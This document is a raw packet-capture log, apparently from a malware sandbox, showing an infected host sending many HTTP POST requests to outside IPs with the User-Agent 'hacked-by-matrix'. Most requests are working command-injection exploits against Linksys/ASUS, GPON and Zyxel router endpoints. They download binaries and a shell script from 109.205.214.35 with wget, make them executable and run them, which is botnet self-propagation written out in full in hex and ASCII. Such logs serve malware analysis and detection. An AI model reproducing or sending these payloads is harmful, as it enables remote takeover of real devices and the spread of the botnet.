Mar 21, 2024 05:18:41.034311056 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:40 GMT Date: Thu, 21 Mar 2024 04:18:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 61 34 65 32 32 35 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 32 30 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.a4e22517.1710994720.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.23	48756	98.196.202.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.058322906 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.23	33324	172.66.45.242	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.148490906 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.23	34926	172.66.159.49	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.148588896 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.23	34962	172.87.198.189	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.236373901 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:42.163094044 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:43.250967026 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:45.622536898 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:49.969923019 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.23	59948	184.94.139.216	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.358694077 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:42.450983047 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.23	60628	147.146.253.115	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.515135050 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:41.659004927 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.23	41244	42.74.193.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300564051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.23	48244	42.255.162.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300581932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.23	34318	210.145.14.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300627947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.23	35020	178.148.178.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300636053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.23	41300	118.249.88.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300666094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.23	59384	212.114.50.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300697088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.23	45190	5.62.21.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300726891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.23	52544	109.155.113.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300734043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.23	60694	94.33.62.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.300821066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.23	19035	62.97.215.139	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:42.925163984 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.23	51328	82.66.82.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.071003914 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.23	54332	213.109.162.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.108032942 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.283207893 CET	1023	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 02:23:51 GMT Server: Apache/2.4.10 (Debian) Content-Length: 292 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 32 3a 32 33 3a 35 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 32 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 76 32 32 30 31 39 30 36 33 34 35 33 36 39 32 33 31 39 2e 68 6f 74 73 72 76 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 02:23:51 GMTServer: Apache/2.4.10 (Debian)Content-Length: 320Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.10 (Debian) Server at v22019063453692319.hotsrv.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.23	51958	178.63.209.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.111007929 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:44.378596067 CET	121	IN	HTTP/1.1 404 Not Found Server: Microsoft-IIS/8.0 Date: Thu, 21 Mar 2024 04:18:43 GMT Content-Length: 0
